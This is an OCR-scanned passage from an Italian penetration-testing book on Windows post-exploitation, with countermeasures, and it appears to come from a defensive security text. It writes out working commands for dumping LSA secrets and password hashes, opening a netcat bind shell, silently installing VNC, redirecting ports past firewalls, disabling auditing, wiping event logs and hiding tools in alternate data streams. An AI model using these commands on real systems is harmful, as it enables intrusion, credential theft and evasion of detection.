e Windows Server 2008 questa impostazione ¢ attiva per default; benché possa causare
problemi di compatibilita con vecchie versioni di Windows (ormai sempre meno diffu-
se), consigliamo caldamente di utilizzarla perché offre una notevole protezione contro
il cracking.

\l/A
0 " Dumping di password memorizzate nella cache

Popolarita: 8
Semplicita: 10
Impatto: 10

Grado di rischio: 9

Windows ha sempre mantenuto la cattiva abitudine di mantenere i dati delle password
memorizzati anche in varie cache, oltre a memorizzarle nel database apposito. Un hacker
intraprendente, una volta ottenuti privilegi sufficienti, pud estrarre facilmente questi dati.
Gli LSA Secrets (o “segreti LSA”) offrono uno dei piu insidiosi esempi del pericolo che si
corre lasciando dati importanti in posizioni facilmente accessibili da account con privilegi.
La cache di LSA (Local Security Authority),specificata nella sottochiave HKLM\SECURITY\
Policy\Secrets del registro di sistema, contiene 1 seguenti elementi:
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* Password degli account di servizio in chiaro. Gli account di servizio sono richiesti dal
software che deve accedere con il contesto di un utente locale per svolgere attivita
come 1 backup. Si tratta tipicamente di account che esistono in domini esterni e,
quando sono svelati da un sistema compromesso, possono consentire a un hacker di
accedere direttamente a tali domini.

* Cache contenente gli hash di password degli ultimi dieci utenti che hanno eftettuato
il login sulla macchina.

¢ Password in chiaro di utenti FTP e web.

* Nomi di account e password del servizio di accesso remoto (RAS, Remote Access
Services).

e Account e password per I'accesso al dominio.

Ovviamente, le password di account di servizio che utilizzano 1 privilegi degli utenti del
dominio, 1 dati dell’ultimo utente che ha effettuato il login, le password dell’accesso al
dominio e cosi via possono fornire a un hacker una forte base di partenza per entrare
nella struttura del dominio.

Per esempio, considerate un server autonomo che esegue Microsoft SMS o servizi SQL
nel contesto di un utente di dominio. Se il server utilizza una password vuota per 'am-
ministratore locale, si potrebbero utilizzare gli LSA Secrets per acquisire 'account e la
password dell’utente a livello del dominio. Questa vulnerabilita potrebbe anche portare a
compromettere la configurazione di un dominio utente master. Se un server di dominio
risorsa ha in esecuzione un servizio nel contesto di un account utente dal dominio utente
master, una violazione del server nel dominio risorsa potrebbe consentire all’hacker di
ottenere credenziali di accesso nel dominio master.

Si da credito a Paul Ashton di aver diffuso il codice per visualizzare gli LSA Secrets agli
amministratori che hanno effettuato 'accesso in locale. Si ¢ poi sviluppato uno stru-
mento denominato LSADump?2 (disponibile su Internet) per implementare le idee di
Ashton. LSADump?2 utilizza la stessa tecnica di pwdump?2 (DLL injection) per bypassare
1 meccanismi di sicurezza del sistema operativo: trova automaticamente il PID di LSASS,
s1 “inietta” e cattura LSA Secrets, come ¢ mostrato nell’esempio che segue (modificato e
formattato per brevita):

C:\>1sadump2

$MACHINE.ACC

6E 00 76 00 76 00 68 00 68 00 5A 00 30 00 41 00 n.v.v.h.h
66 00 68 00 50 00 6C 00 41 00 73 00 f.h.P.1.A.s.
_SC_MSSQLServer

32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 p.a.s.s.w.o0.r.d.
_SC_SQLServerAgent

32 00 6D 00 71 00 30 00 71 00 71 00 31 00 61 00 p.a.s.s.w.o0.r.d.

Tra 1 “segreti LSA” di questo sistema possiamo vedere la password dell’account della
macchina per il dominio e due password per 'account del servizio SQL. Non serve molta
immaginazione per scoprire che con questo meccanismo di enumerazione delle password
si arriva rapidamente a controllare intere reti Windows.

A partire da Windows XP, Microsoft ha spostato alcuni elementi e ha reso LSADump2
inutilizzabile quando ¢ eseguito da un account diverso da SYSTEM. Sono pero state
diftuse delle modifiche al codice sorgente di LSADump?2 per aggirare questa barriera.
Cain, lo strumento di hacking per Windows, dispone anche di un estrattore di segreti LSA
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integrato in grado di bypassare queste protezioni quando ¢ eseguito con un account di
amministratore. Lo strumento gsecdump di Truesec estrae “segreti LSA” su architetture
x86 e x64 e versioni di Windows da 2000 a 2008 (truesec.se/sakerhet/verktyg/saakerhet/
gsecdump_v2.0b5).

Cain dispone di varie altre funzioni per I’estrazione di password dalla cache, che operano
su una macchina locale se eseguite con 1 privilegi di amministratore. La Figura 4.8 mo-
stra Cain mentre estrae 1 “segreti LSA” da un sistema con Windows XP Service Pack 2
e illustra anche le altre fonti da cui il programma ¢ in grado di estrarre password, tra cui
Protected Storage, Internet Explorer 7, reti wireless, Windows Mail, connessioni dial-up,
caselle di modifica, SQL Enterprise Manager e Credential Manager.

Windows memorizza nelle cache anche le credenziali degli utenti che hanno preceden-
temente effettuato I'accesso a un dominio (per default, quelle degli ultimi dieci utenti).
Utilizzare queste credenziali non ¢ facile come estrarre 1 testi in chiaro con LSADump,
perché le password sono memorizzate in forma di hash e ulteriormente cifrate con una
chiave specifica della macchina. Gli hash cifrati nella cache si trovano nella chiave del
registro HKLM\SECURITY\CACHE\NL$#, dove # ¢ un valore numerico da 1 a 10
che corrisponde agli ultimi accessi.

Naturalmente nessun segreto ¢ del tutto nascosto agli occhi di chi dispone dei pri-
vilegi di Administrator o SYSTEM. CacheDump di Arnaud Pilon (securiteam.com/
tools/5JPOI2KFPA.html) automatizza Iestrazione degli hash dalla cache degli accessi pre-
cedenti. Anche Cain mette a disposizione una funzionalitd simile, MS-Cache Hashes,
all'interno dello strumento Cracking.
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Figura 4.8 Gli strumenti per la decodifica delle password di Cain
lavorano sul sistema locale quando sono eseguiti con privilegi di amministrazione.
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Ovviamente gli hash acquisiti devono poi essere “craccati” per rivelare le password in
chiaro (oppure, come abbiamo visto precedentemente e vedremo ancora tra breve, WCE
puo riutilizzare 'hash di password Windows direttamente dalla memoria, risparmiando il
tempo e le risorse necessarie per il cracking). Tutti gli strumenti per il cracking di password
discussi in questo capitolo sono in grado di svolgere questo compito.

Come potete immaginare, queste credenziali possono risultare utili agli hacker: piu volte
abbiamo spalancato gli occhi di fronte alla quantita di informazioni contenute nelle cache
degli accessi presenti nei vari PC desktop aziendali. Chi vuole essere 'amministratore
del dominio, oggi?

o Contromisure contro il dumping delle password memorizzate nella cache

Sfortunatamente Microsoft non ritiene che questi dati abbiano importanza critica, poiché
afferma che I'accesso dell’amministratore a queste informazioni ¢ possibile “per scelta
progettuale” nell’articolo della knowledge base con ID Q184017, che descrive un primo
hotfix LSA. Questa soluzione effettua la cifratura di password dell’account di servizio
memorizzate, accessi al dominio registrati nella cache e password delle stazioni di lavoro
utilizzando un meccanismo di tipo SYSKEY. Naturalmente LSADump?2 ¢ in grado di
aggirare tale meccanismo con la DLL injection.

La miglior difesa contro LSADump? e altri strumenti simili per il dumping della cache ¢,
quindi, quella di evitare che un hacker possa ottenere 1 privilegi di amministratore. Appli-
cando criteri di protezione rigidi su chi puo ottenere tali privilegi nei sistemi della vostra
organizzazione, potete stare tranquilli. Conviene anche prestare molta attenzione all’'uso
di account di servizio e trust di dominio ed evitare a tutti i costi di utilizzare account di
dominio con livelli di privilegi elevati per avviare servizi su macchine locali!

Esiste una specifica impostazione di configurazione che puo aiutare a ridurre I'impatto
del dumping della cache degli accessi al dominio: occorre impostare HKLM\Software\
Microsoft\Windows NT\CurrentVersion\ Winlogon\CachedLogonsCount a un valore
appropriato (quello di default ¢ 10; cfr. support.microsoft.com/?kbid=172931). Questa im-
postazione ¢ accessibile anche dallo snap-in Criteri di protezione in “Accesso interattivo:
numero di accessi precedenti da memorizzare nella cache (nel caso in cui il controller di
dominio non sia disponibile)”. Tenete presente che, se si imposta il valore O (il pit sicuro),
gli utenti non potranno accedere quando un controller di dominio non ¢ accessibile.
Un valore piu adatto potrebbe essere 1, che lascia aperta una certa vulnerabilita, ma non
paragonabile a quella causata dai valori di default di Windows (10 accessi precedenti sotto
Vista/Windows 7 e 25 sotto Windows Server 2008!).

S

" Dumping di hash registrati in memoria

Popolarita: 8
Semplicita: 10
Impatto: 10

Grado di rischio: 9

Come abbiamo visto in precedenza, ¢ possibile utilizzare Windows Credentials Editor
(WCE) di Amplia Security per eseguire il dumping di credenziali registrate in memoria
da parte del sottosistema di autenticazione di Windows, impossibili da ottenere mediante
strumenti quali pwdump, CacheDump e altri.
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Il sottosistema di autenticazione, forse per supportare le capacita di “firma singola” dei
sistemi Windows, registra in memoria nome utente, nome di dominio e hash di password
degli utenti che eseguono l'accesso interattivo a una macchina, in locale o da remoto
con RDP. Se un utente del dominio accede da remoto a un’altra macchina del dominio
utilizzando RDP (lo stesso vale per 1 sistemi autonomi, non solo per i domini), Windows
memorizza in una cache le sue credenziali nella memoria della macchina remota,in modo
da consentire, per esempio, di accedere a risorse di rete senza dover immettere di nuovo
la password. In determinate circostanze, queste credenziali sono mantenute in memoria
anche dopo che la sessione interattiva ¢ terminata!

Se un hacker compromette la macchina remota, sara in grado di ottenere le credenziali
della vittima, anche quando la macchina in questione non ¢ il controller di dominio dove
sono registrati tutti gli hash di password degli utenti. Se la vittima ¢ un amministratore del
dominio, ’hacker ¢ in grado di compromettere subito I'intero dominio senza nemmeno
intervenire sul controller, né sulla macchina dell’amministratore.

Questo scenario non ¢ infrequente. Per esempio, pensate a un server di backup a cui
gli amministratori di dominio accedono da remoto usando RDP per svolgere attivita
di amministrazione; questi tipi di server talvolta hanno sistemi di sicurezza meno rigidi
rispetto a server pit importanti della rete come il controller di dominio. Tuttavia, come
abbiamo spiegato in precedenza,la compromissione di questi server puo portare alla pos-
sibilitd di compromettere I'intero dominio Windows (cfr. ampliasecurity.com/research/
wcel2_uba_ampliasecurity_eng.pdf per ulteriori scenari di attacco).

Il seguente esempio mostra WCE mentre esegue il dumping delle credenziali registrate
nella memoria di un sistema con Windows 7:

D:\Tools\wce>wce
WCE v1.2 (Windows Credentials Editor) - (c) 2010,2011 Amplia Security
- by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help.

he7user:win7box:94C462E63EEBD15C1FA73AE7450B0033 :BD8131884D042EC6D76699F276930057
servicel:win7box:2DD906EC5A2312914ED11CB6AC8CO8BA: F50497165BD0705CAABE6218E9A51E34
customuser:win7box:5C84378540D3A964AAD3B435B51404EE :2972E68B746ADOF3C78A64157540F427

Potete vedere nell’output che le credenziali ottenute con WCE comprendono ’hash LM
della password dell’'utente. Questo vale anche su sistemi in cui gli hash LM non sono
registrati per default nel database dell’utente locale.

Nella maggioranza dei casi WCE ¢ in grado di eseguire il dumping di queste informazioni
semplicemente leggendo la memoria del sistema e senza eseguire I'iniezione di codice,
eliminando cosi il rischio di bloccare il sistema; cio risulta particolarmente importante
per chi esegue test di penetrazione.

c Contromisure contro il dumping di hash registrati in memoria

Non esistono metodi sicuri per impedire a strumenti come WCE di eseguire il dumping
di hash dalla memoria. Si tratta di strumenti che operano dopo il successo di un exploit,
che devono essere eseguiti con privilegi amministrativi; ci0 significa che, negli scenari in
cul vengono utilizzati, i sistemi anti intrusione basati su host, gli antivirus e gli altri software
simili, che avrebbero dovuto impedirne 'esecuzione, sono gia stati scavalcati dall’hacker.
Per questa ragione ¢ importante mantenere aggiornati 1 sistemi di sicurezza di tutti 1
membri del dominio Windows; come abbiamo gia spiegato, infatti, la compromissione
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di un unico server apparentemente poco importante puo condurre alla compromissione
dell'intero dominio. Gli amministratori di dominio dovrebbero evitare le connessioni
RDP a sistemi sconosciuti e potenzialmente non sicuri, in modo da proteggere 1 loro
hash ed evitare di concedere privilegi di amministratore locale agli utenti del dominio,
per non dare loro la possibilita di ottenere gli hash dalla memoria.

Infine, 'utilizzo di Kerberos non ¢ necessariamente risolutivo, perché Windows conserva
gli hash NTLM in memoria.

Controllo remoto e backdoor

Una volta ottenuto I'accesso come amministratore ed estratte le password, gli intrusi
cercano di consolidare il loro controllo del sistema tramite vari servizi che abilitano il
controllo remoto. Tali servizi vengono spesso chiamati backdoor e sono tipicamente nascosti
utilizzando le tecniche che descriviamo nel seguito.

NI/

" Strumenti per il controllo remoto dalla riga di comando

Popolarita: 9
Semplicita: 8
Impatto: 9

9

Grado di rischio:

Una delle backdoor di controllo remoto piu facili da impostare ¢ netcat, il “coltellino
svizzero del TCP/IP” (en.wikipedia.org/wiki/Netcat). Questo strumento puo essere
configurato in modo da ascoltare su una certa porta e avviare un eseguibile quando un
sistema remoto si connette. Impostando un listener netcat in modo che avvii una shell di
comandi Windows, ¢ possibile fare in modo che questa shell compaia su un sistema remoto.
La sintassi per avviare netcat in una modalitd di ascolto nascosta ¢ la seguente:

C:\TEMP\NC11Windows>nc -L -d -e cmd.exe -p 8080

Lopzione -L rende il listener persistente tra piu interruzioni della connessione; -d attiva
I'esecuzione di netcat in modalita nascosta (senza console interattiva); -e specifica il pro-
gramma da avviare (in questo caso cmd.exe, I'interprete comandi di Windows). Infine, -p
specifica la porta su cui mettersi in ascolto (alcune versioni di netcat consentono di speci-
ficare il numero di porta direttamente dopo 'opzione -1 e non richiedono 'opzione -p).
Il comando restituisce una shell di comandi remota a chiunque si connetta alla porta 8080.
Nel seguente esempio utilizziamo netcat su un sistema remoto per connetterci alla porta
in ascolto sulla macchina all'indirizzo IP 192.168.202.44 e ricevere una shell comandi
remota. Per semplificare le cose abbiamo impostato come prompt dei comandi del sistema
locale D:\», mentre il prompt remoto ¢ C:\TEMP\NC11Windows>.

D:\> nc 192.168.202.44 8080

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\TEMP\NC11Windows>

C:\TEMP\NC11Windows>ipconfig

ipconfig
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Windows IP Configuration
Ethernet adapter FEM5561:
IP Address. . . . . .
© 192.168.202.44
Subnet Mask . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . :
C:\TEMP\NC11Windows>exit

Come potete vedere, ora gli utenti remoti possono eseguire comandi e lanciare file. L'unico
limite ¢ dato dalla loro creativita nell’'uso della console di Windows.

Netcat funziona bene quando serve una porta personalizzata su cui lavorare, ma se si accede
a SMB (portaTCP 139 o 445), lo strumento migliore ¢ psexec, da technet.microsoft.com/
en-us/sysinternals, che esegue un comando sulla macchina remota;la sintassi ¢ la seguente:

C:\>psexec \\nome-o-ip-server -u nomeutente_admin -p password_admin comando

Ecco un esempio di comando tipico:

C:\>psexec \\10.1.1.1 -u Administrator -p password -s cmd.exe

Niente di piu facile. In passato consigliavamo di utilizzare il comando AT per pianificare
Pesecuzione di comandi sui sistemi remoti, ma con psexec tutto cio diventa banale, purché
si disponga dell’accesso a SMIB (che il comando AT richiede in ogni caso).

Anche il framework Metasploit fornisce un’ampia batteria di payload che fanno da
backdoor in grado di avviare nuove shell di comandi associate a porte in ascolto, eseguire
comandi arbitrari, avviare shell utilizzando la connessione stabilita e ricollegare una shell
di comandi alla macchina di chi ha portato lattacco, per citarne alcune (cfr. metasploit.
com/modules/). Per exploit basati sul browser, Metasploit dispone di controlli ActiveX che
possono essere eseguiti tramite un file nascosto IEXPLORE.exe su connessioni HTTP.

S

*> Controllo remoto con GUI

Popolarita: 10
Semplicita: 10
Impatto: 10

Grado di rischio: 10

Una shell di comandi remota ¢ molto utile, ma Windows ¢ talmente orientato alla grafica
che una GUI remota sarebbe un colpo da maestro. Se si ha accesso a Terminal Server
(installabile opzionalmente su Windows 2000 e versioni successive), si ha gia a disposizione
il migliore strumento di controllo remoto messo a disposizione da Windows. L’hacker
controlla se la portaTCP 3389 ¢ in ascolto sul server remoto e utilizza le credenziali valide
ricavate in attacchi precedenti per effettuare autenticazione.

Se Servizi Terminal non ¢ disponibile, ¢ possibile installare uno strumento di controllo
remoto di tipo grafico. Uno gratuito e di ottimo livello eVINC (Virtual Network Computing),
di RealVNC Limited (realvnc.com/products/download.html). Un motivo per cui VNC si
mette in evidenza (a parte il fatto che ¢ gratuito!) ¢ che installarlo su una connessione
di rete remota non ¢ molto piu difficile che installarlo in locale. Utilizzando una shell di
comandi remota, tutto cio che occorre fare ¢ installare il servizio VNC e apportare una
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sola modifica al registro remoto per garantire 'avvio “nascosto” del servizio. Di seguito
forniamo una guida semplificata, ma consigliamo di consultare la documentazione di
VNC disponibile presso 'URL gia indicato per comprendere appieno come utilizzare
VNC dalla riga di comando.

SUGGERIMENTO

Metasploit fornisce dei moduli di exploit che installano automaticamente il servizio VNC
con pochi clic.

I primo passo ¢ quello di copiare I'eseguibile diVNC e i file necessari (WINVNC.EXE,
VNCHooks.DLL e OMNITHREAD_RT.DLL) sul server bersaglio. Qualsiasi directory
va bene, ma probabilmente I'eseguibile risultera piu difficile da localizzare se lo si pone in
%systemroot%. Un altro aspetto da considerare ¢ che le piu recenti versioni di WINVNC
aggiungono automaticamente una piccola icona verde al system tray quando si avvia il
server. Se lo si avvia dalla riga di comando, le versioni fino alla 3.3.2 sono piu o meno
invisibili agli utenti con accesso interattivo (WINVNC.EXE appare comunque nell’elenco
dei processi, naturalmente).

Una volta copiato WINVNC.EXE, ¢ necessario impostare la password diVNC. Quando
st avvia il servizio WINVNC, normalmente appare una finestra di dialogo che chiede di
inserire una password prima di accettare connessioni in entrata (accidenti agli sviluppatori
che tengono alla sicurezza!). Inoltre, occorre indicare a WINVNC di mettersi in ascolto
per connessioni in entrata, sempre tramite la GUIL Aggiungeremo le voci richieste diret-
tamente nel registro di sistema remoto utilizzando regini.exe.

Dobbiamo creare un file denominato WINVNC.INI e inserire le modifiche specifiche che
vogliamo apportare al registro. Di seguito riportiamo alcuni valori di esempio che abbiamo
tratto da un’installazione locale di WINVNC trasferendole su un file di testo con I'utility
regdmp utility del Resource Kit (il valore della password, riportato in binario, ¢ “secret”).

HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3
SocketConnect = REG_DWORD 0x00000001
Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cbo6e

Ora carichiamo questi valori nel registro remoto fornendo il nome del file contenente i
dati precedenti (WINVNC.INI) come input per lo strumento regini:

C:\> regini -m \\192.168.202.33 winvnc.ini
HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3

SocketConnect = REG_DWORD 0x00000001

Password = REG_BINARY 0x00000008 0x57bf2d2e 0x9e6cbo6e

Infine, installiamo WINVNC come servizio e lo avviamo. La seguente sessione comandi
remota mostra la sintassi per questi passaggi (ricordate che siamo in una shell di comandi
sul sistema remoto):

C:\> winvnc -install

C:\> net start winvnc

The VNC Server service is starting.

The VNC Server service was started successfully.
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Ora possiamo avviare I'applicazione di visualizzazione VINC e connetterci al nostro ber-
saglio. Le due figure seguenti mostrano 'applicazione impostata per connettersi all’host
display O con indirizzo IP 192.168.202.33 (la sintassi host:display ¢ pitt 0 meno equi-
valente a quella del sistema X-window di UNIX; in tutti 1 sistemi Microsoft Windows
il numero di display di default ¢ 0). La seconda figura mostra la richiesta di inserire la
password (ricordate quale abbiamo impostato?).

Connection details

RC  nCsewer [192168202330 ] R

Llse host: digplay Cancsl

£.0. Fhoopy: 2 :
Optiong...

L]

YMC Authentication

—
m Session password:
= Cancel

Ecco fatto! Il desktop remoto si presenta in tutti i suoi colori, come si vede nella Figura
4.9.11 puntatore del mouse si comporta esattamente come se fosse utilizzato direttamente
sul sistema remoto.

VNC ¢ davvero potente, consente perfino di premere Ctrl+Alt+Canc. Le possibilita
sono infinite.

Reindirizzamento delle porte

Abbiamo discusso alcuni programmi di controllo remoto basati sulla shell di comandi nel
contesto di connessioni dirette di controllo remoto. Tuttavia, considerate la situazione in
cul un’entita, per esempio un firewall, blocca I'accesso diretto a un sistema bersaglio. Gli
hacker piu preparati sanno come aggirare questi ostacoli utilizzando il reindirizzamento
delle porte, una tecnica che puo essere implementata su qualsiasi sistema operativo, ma che
qui descriveremo nel caso di Windows.

Una volta che gli hacker sono riusciti a violare un sistema bersaglio chiave, come un
firewall, possono utilizzare il reindirizzamento delle porte per inoltrare tutti i pacchetti a
una destinazione specificata. Uimpatto di questo meccanismo ¢ notevole, perché consente
agli hacker di accedere a qualsiasi sistema posto dietro il firewall (o dietro il bersaglio in
questione). Il meccanismo di reindirizzamento funziona in questo modo: un programma
si mette in ascolto su determinate porte e inoltra i pacchetti a una destinazione secondaria
specificata. Nel seguito discuteremo alcuni metodi per impostare manualmente il reindi-
rizzamento delle porte utilizzando il nostro strumento preferito per questo compito, fpipe.
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Figura 4.9 WINVNC connesso a un sistema remoto.
Sembra quasi di stare seduti davanti al computer remoto.

S
™ .

" fpipe
Popolarita: 5
Semplicita:

Impatto: 10

Grado di rischio: 8

Fpipe ¢ un programma di McAfee Foundstone per il reindirizzamento/inoltro di una porta
di origine TCP. E in grado di creare un flusso TCP con una porta di origine opzionale
scelta dall’utente; questa possibilita ¢ utile nei test di penetrazione per oltrepassare i firewall
che permettono il passaggio di certi tipi di traftfico nelle reti interne.

Questo programma in sostanza opera mediante un reindirizzamento. Avviate fpipe con
una porta del server per 'ascolto, una porta di destinazione remota (quella che cercate di
raggiungere oltre il firewall) e il numero di porta di origine locale (opzionale) desiderato.
All’avvio, il programma attende che un client si connetta alla sua porta di ascolto; quando
viene stabilita una connessione di ascolto, viene effettuata una nuova connessione alla
macchina e alla porta di destinazione, con la porta di origine locale specificata, creando in
questo modo un circuito completo. Quando ¢ stata completata la connessione, fpipe inoltra
tutti 1 dati ricevuti dalla sua connessione in entrata alla porta di destinazione remota oltre
il firewall, e restituisce il traffico di risposta al sistema che ha iniziato la comunicazione.
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II meccanismo ¢ simile all'impostazione di piu sessioni netcat, ma con fpipe lo stesso
compito viene svolto in modo trasparente.

Ora illustriamo I'utilizzo di fpipe per impostare il reindirizzamento su un sistema com-
promesso che esegue un server telnet dietro un firewall che blocca la porta 23 (telnet),
ma lascia aperta la porta 53 (DNS). Normalmente non potremmo connetterci a telnet
direttamente sulla porta TCP 23, ma impostando un reindirizzamento con fpipe sull’host,
che devia le connessioni alla porta TCP 53 verso la porta telnet, possiamo ottenere un
risultato equivalente. La Figura 4.10 mostra fpipe in esecuzione sull’host compromesso.
Una semplice connessione alla porta 53 su questo host fornira all’hacker un prompt telnet.
La migliore caratteristica di fpipe ¢ il fatto che consente di specificare una porta di ori-
gine per il traffico. Quando si fanno dei test di penetrazione nella rete, spesso si presenta
questa esigenza per aggirare un firewall o un router che lascia passare soltanto il traffico
con una determinata porta di origine (per esempio, il traffico con porta di origine TCP
25 puod comunicare con il server di posta). TCP/IP normalmente assegna una porta di
origine con un numero elevato alle connessioni client, che tipicamente viene filtrato dal
firewall. Tuttavia, il firewall stesso potrebbe consentire il passaggio del traffico DNS (questo
avviene spesso, in effetti); fpipe ¢ in grado di forzare il flusso a utilizzare sempre una porta
di origine specificata, in questo caso quella del DNS. In questo modo, il firewall “vede”
il flusso come un servizio consentito e lo lascia passare.

svemid.exe - fpipe -¥ -1 53 -r 23 192.168.234.37

AI
E:s>pipe v -1 53 —» 23 192.168.234_37
FPipe vZ_ @1 — TCPF port redirector.
Copyright 2088 <{c> by Foundstone, Inc.
http: ~wm _foundstone .com

Listening for connections on port 53
Connection accepted from 192.168.234_36 port 6466 L1
Attempting to connect to 192.168.234_37 port 23
Pipe connected:

In: 192.168.234_36:6466 ——> 192.168.234_41:53
Out: 192.168.234.41:1838 —> 192.168.234_.37:23
1% bytes received from outhound connection
3 bytes received from inbound connection
72 bytes received from outhound connection

15% bytes received from inbound connection :j
] [ Yy

Figura 4.10 Fpipe in esecuzione su un host compromesso. E stato impostato in modo
da reindirizzare le connessioni sulla porta 53 alla porta 23 su 192.168.234.37 e sta inoltrando i dati.

NOTA

Se utilizzate l'opzione -s di fpipe per specificare un numero di porta di origine per una
connessione in uscita e la connessione in uscita si chiude, potreste non essere in grado
diristabilire una connessione alla macchina remoto prima che trascorrano da 30 secondi
a4 minuti o anche di piu, a seconda del sistema operativo e della versione in uso.
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Coprire le proprie tracce

Una volta che gli intrusi hanno ottenuti 1 privilegi di Administrator o SYSTEM su un
sistema, cercheranno in ogni modo di non farsi scoprire. Quando hanno sottratto tutte le
informazioni interessanti al loro bersaglio, installeranno varie backdoor e nasconderanno
un toolkit per assicurarsi di poter nuovamente ottenere un facile accesso in futuro, e per
ridurre al minimo il lavoro necessario per portare ulteriori attacchi ad altri sistemi.

Disabilitare il controllo di Windows (auditing)

Se il proprietario del sistema bersaglio tiene alla sicurezza, avra abilitato l'auditing (in
‘Windows si chiama “controllo”), come abbiamo spiegato precedentemente in questo
capitolo. Poiché l'auditing puo rallentare le prestazioni sui server attivi, soprattutto se sono
controllate determinate funzioni come la gestione di utenti e gruppi, la maggior parte
degli amministratori di sistemi Windows non lo attiva, oppure lo attiva ma riducendo i
controlli al minimo. Nondimeno, la prima verifica che fanno gli intrusi, una volta ottenuti i
privilegi di amministratore, riguarda lo stato del criterio di protezione che attiva 'auditing
sul bersaglio, nella rara eventualita che le attivita svolte mentre scorrazzano attraverso il
sistema siano osservate. A questo scopo si utilizza lo strumento auditpol del resource kit.
Lesempio che segue mostra ’esecuzione del comando auditpol con I'argomento disable
per disattivare 'auditing su un sistema remoto ('output ¢ stato ridotto):

C:\> auditpol /disable

Running ...

Local audit information changed successfully ...
New local audit policy ...

(0) Audit Disabled

AuditCategorySystem = No
AuditCategorylLogon = Failure
AuditCategoryObjectAccess = No

Al termine delle loro scorribande, gli intrusi riattivano auditing utilizzando auditpol/enable,
e nessuno si accorge di nulla, poiché auditpol preserva le singole impostazioni di auditing.

Cancellazione del registro di eventi

Se le attivita che hanno consentito di ottenere i privilegi di amministratore hanno gia
lasciato delle tracce nel registro degli eventi di Windows, gli intrusi possono semplicemente
cancellare i registri con il Visualizzatore eventi. Poiché si sono gia autenticati sull’host
bersaglio, possono utilizzare ilVisualizzatore eventi per aprire, leggere e cancellare 1 registri
sull’host remoto. In questo modo viene cancellato il registro di tutti i record, ma rimarra
un nuovo record che descrive 'operazione di cancellazione del registro svolta dall’hacker.
Naturalmente questo potrebbe allarmare gli utenti del sistema, ma non esistono molte
altre opzioni a parte aprire i vari file di log in \winnt\system32 e modificarli a mano,
cosa per nulla semplice data la complessita della sintassi utilizzata per i log di Windows.
Lutility ELSave di Jesper Lauritsen (ibt.ku.dk/jesper/elsave) ¢ un semplice strumento
per cancellare il registro degli eventi. Per esempio, con il comando seguente si cancella il
registro di sicurezza sul server remoto denominato joel (notate che ¢ necessario disporre
degli opportuni permessi sul sistema remoto).

C:\>elsave -s \\joel -1 "Security" -C
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Nascondere i file

Mantenere un toolkit sul sistema bersaglio, per poterlo utilizzare in futuro, ¢ un trucco
molto amato dagli hacker. Tuttavia, queste piccole raccolte di utility possono anche costi-
tuire dei segnali che allertano gli amministratori di sistema piu avveduti della presenza di
un intruso. Percio, 'hacker dovra prendere delle misure per nascondere 1 vari file necessari
per lanciare il successivo attacco.

attrib

Per nascondere i file basta copiarli in una directory e utilizzare il vecchio strumento DOS
attrib per impostare I'attributo di file nascosto, come ¢ mostrato di seguito:

attrib +h [directory]

Questa sintassi nasconde file e directory agli occhi degli strumenti che operano dalla riga
di comando, ma non in quelli GUI, se ¢ stata selezionata 'opzione Visualizza cartelle e file
nascosti di Windows Explorer.

ADS (Alternate Data Streams)

Se 1l sistema bersaglio utilizza NTES (Windows NT File System), gli intrusi hanno a di-
sposizione una tecnica alternativa per nascondere 1 file. NTFES consente di inserire piu
flussi di informazioni in un file. Questa caratteristica ¢ descritta da Microsoft come “un
meccanismo per aggiungere altri attributi o informazioni a un file senza ristrutturare il
file system” (per esempio, quando le funzioni di compatibilita con 1 file Macintosh sono
attivate) e puo anche essere utilizzata per nascondere il toolkit di un hacker, chiamiamolo
adminkit, in flussi che stanno dietro dei file.

Nel seguente esempio si vede come nascondere netcat.exe in un flusso dietro un file ge-
nerico che si trova nella directory winnt\system32\os2, in modo da poterlo utilizzare in
successivi attacchi su altri sistemi remoti. Questo file ¢ stato scelto perché ¢ relativamente
poco conosciuto, ma al suo posto si potrebbe utilizzare un file qualsiasi.

Sono disponibili numerose utility per gestire 1 flussi di file in Windows (cfr. per esempio
technet.microsoft.com/en-us/sysinternals/bb897440); uno di essi, che usiamo da molti anni
per creare flussi, ¢ POSIX cp del Resource Kit. La sintassi ¢ semplice, si utilizza un segno
di due punti nel file di destinazione per specificare il flusso:

C:\>cp <file> 0s0001.009:<file>
Ecco un esempio:

C:\>cp nc.exe 0s0001.009:nc.exe

Questa sintassi nasconde nc.exe nel flusso nc.exe di 0s0001.009. Ecco come estrarre dal
flusso netcat:

C:\>cp 050001.009:nC.exe nc.exe

La data di modifica di 0s0001.009 cambia, ma non la dimensione (alcune versioni del
comando cp non cambiano nemmeno la data), percio 1 file nascosti nei flussi sono molto
difficili da individuare.
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Per eliminare un file inserito in un flusso si possono usare varie utility, oppure si puod copiare
il file “esterno” in una partizione FAT e quindi copiarlo di nuovo in un file system NTFS.
I file inseriti nei flussi possono sempre essere eseguiti, mentre sono nascosti dietro il file
esterno. A causa delle limitazioni di cmd.exe, tuttavia, non possono essere eseguiti diret-
tamente (per esempio con 0s0001.009:nc.exe), ma occorre utilizzare il comando start:

start 0s0001.009:nc.exe

O Contromisure contro gli ADS

Uno strumento per scoprire 1 flussi nei file NTES ¢ sfind di Foundstone, incluso nel
Forensic Toolkit v2.0 disponibile presso foundstone.com.

Rootkit

Le tecniche rudimentali appena descritte sono sufficienti per stuggire a meccanismi di
rilevamento delle intrusioni relativamente poco sofisticati, ma esistono anche tecniche
pit insidiose che riscuotono un successo sempre maggiore, in particolare I'uso dei rootkit.
Questo termine in realta proviene dal mondo UNIX (dove “root” ¢ I'account del supe-
ruser), ma negli ultimi anni si ¢ diffuso anche nel mondo Windows. Il primo a destare
interesse riguardo 1 rootkit in Windows ¢ stato Greg Hoglund, che ha prodotto una delle
prime utility ufficialmente descritte come “rootkit NT” nel 1999 (anche se, ovviamente,
molte altre persone avevano fatto intrusioni nei sistemi Windows assumendo 'identita di
“root” prima di allora, utilizzando strumenti personalizzati e raccolte di programmi). Il
rootkit N'T originale di Hoglund era in sostanza una piattaforma concettuale creata per
mostrare come alterare 1 programmi di sistemi protetti caricati in memoria (in gergo si parla
di “patch del kernel”) in modo da annullare del tutto la sicurezza del sistema operativo.
Esaminiamo 1 piu recenti strumenti, tecniche e contromisure per 1 rootkit nel Capitolo 6.

Contromisure generali contro
